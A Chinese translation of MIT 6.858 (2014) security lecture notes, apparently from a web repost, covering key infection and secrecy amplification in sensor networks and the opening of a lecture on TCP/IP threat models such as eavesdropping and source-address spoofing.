密钥设置：基站和节点共享的主密钥。我们如何进行密钥分发？已经有很多研究提供了具有良好弹性、连通性和可扩展性的解决方案。有争议的解决方案：密钥感染；引导不需要安全，而是关于在静态网络中进行安全维护。思路：明文传输对称密钥，并使用保密放大（以及其他机制）。在保密放大中，两个节点 A 和 B 使用第三个相邻节点 C 来建立 A 和 B 之间的通信。这个通信通道由密钥 K_{A,C} 和 K_{C,B} 保护。它用于交换一个随机数 N。A 和 B 通过 H(K_{A,B}||N) 替换他们的密钥 K_{A,B}，并验证他们是否可以使用这个新密钥。如果 K_{A,B} 被对手知道，但密钥 K_{A,C} 和 K_{C,B} 不知道，那么对手无法提取新的 K_{A,B}！这个解决方案已被提议用于战场管理应用。

相关主题：RFID 标签，社交网络，TinyDB。

TCP/IP 安全

注意： 这些讲座笔记略有修改，来自 2014 年 6.858 课程网站上发布的内容。

网络安全的威胁模型

对手可以拦截/修改网络流量。
对手可以发送数据包。
对手完全控制自己的机器。
对手可以参与协议（通常）。

通常不可行将坏人排除在大型系统之外。

窃听数据包。

重要的是要记住，但相对来说已经被很好地理解。
通过网络发送的任何数据都可以被对手观察。

发送/伪造数据包。

IP 允许发送方构造任意数据包。
特别是，发送方可以填写任何源地址。
可以假装数据包来自任何地址。
对手可以利用这个做什么？

MIT 6.858 计算机系统安全讲义 2014 秋季（二）（4）https://developer.aliyun.com/article/1484153

MIT 6.858 计算机系统安全讲义 2014 秋季（二）（3）

插件

结论